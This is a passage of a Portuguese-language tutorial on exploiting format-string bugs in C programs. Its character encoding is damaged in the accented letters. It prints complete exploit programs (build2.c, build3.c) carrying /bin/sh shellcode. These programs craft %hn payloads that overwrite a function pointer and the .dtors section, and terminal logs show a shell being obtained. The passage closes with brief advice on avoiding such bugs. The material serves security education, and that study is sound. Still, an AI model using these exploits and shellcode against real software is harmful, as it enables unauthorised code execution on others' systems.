>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Verificamos imediatamente que os endere�os alocados para o
arg
e argv
n�o se alteram mais ap�s a segunda
chamada. Vamos utilizar esta propriedade na nossa explora��o. S� temos de
modificar ligeiramente o nosso programa build
de maneira a que
se chame a si pr�prio antes de chamar o vuln
. Ent�o, obtemos o
endere�o exacto de argv
e o do nosso c�digo da shell.:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Same function as in build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
O truque � que n�s sabemos o que chamar segundo o n�mero de
argumentos que o programa recebeu. Para iniciar a nossa explora��o, damos
somente ao build2
o endere�o para o qual queremos escrever e o
comprimento. J� n�o temos de dar mais o valor visto que � avaliado nas
chamadas sucessivas.
Para termos sucesso, precisamos de montar a mesma estrutura da
mem�ria nas diferentes chamadas do build2
e depois do
vuln
(� por isso que chamamos a fun��o build()
,
no sentido de utilizar a mesma impress�o digital da mem�ria):
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Porque � que isto n�o trabalha? Dissemos que t�nhamos de construir
a c�pia exacta da mem�ria entre as duas chamadas ... e n�o o fizemos! O
argv[0]
(o nome do programa) alterou-se. O nosso programa �
primeiro chamado build2
(6 bytes) e depois o vuln
(4 bytes). Existe uma diferen�a de 2 bytes, o que � exactamente o valor que
pode reparar no exemplo acima. O endere�o do c�digo da shell durante a
segunda chamada do build2
� dado por
sc=0xbffff88f
mas o conte�do do argv[2]
no
vuln
d� 20xbffff891
: os nossos 2 bytes. Para
resolver isto, basta renomear o nosso build2
para somente 4
letras, por exemplo bui2
:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Ganh�mos Novamente : Trabalha muito melhor deste modo ;-) O eggshell
est� na pilha e alter�mos o endere�o apontado por ptrf
para o
novo c�digo da shell. Claro, que s� pode acontecer se a pilha for
execut�vel.
Mas vimos que a formata��o de strings permitem-nos escrever em
qualquer s�tio: adicionemos um destruidor ao nosso programa na sec��o .dtors
:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Aqui, n�o � criado nenhum coredump
ao sair do
destruidor. Isto deve-se ao facto do c�digo da shell conter uma chamada exit(0)
.
Em conclus�o, como �ltimo presente, aqui est� o
build3.c
que tamb�m d� a shell, mas passado de uma vari�vel de
ambiente:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Mais uma vez, visto que este ambiente est� na pilha, precisamos de
ter cuidado para n�o modificar a mem�ria (por exemplo alternando a posi��o
das vari�veis e dos argumentos) O nome bin�rio deve ter o mesmo n�mero de
caracteres que o nome do programa vulner�vel vuln
tem.
Aqui, escolhemos utilizar a vari�vel extern char
**environ
para definir os valores que precisamos:
environ[0]
: cont�m o c�digo da shell;environ[1]
: cont�m o endere�o onde esperamos
escrever;environ[2]
: cont�m o comprimento."%s"
quando fun��es
como o printf()
, o syslog()
, ..., s�o chamadas.
Se realmente n�o conseguir evitar isto, ent�o tem de verificar
cuidadosamente todas as entradas dadas pelo utilizador muito
cuidadosamente.
exec*()
), pelos seus encorajamentos ... mas tamb�m pelo seu
artigo acerca de bugs de formata��o o qual causou, em adi��o ao nosso
interesse na quest�o, uma intensa agita��o cerebral ;-)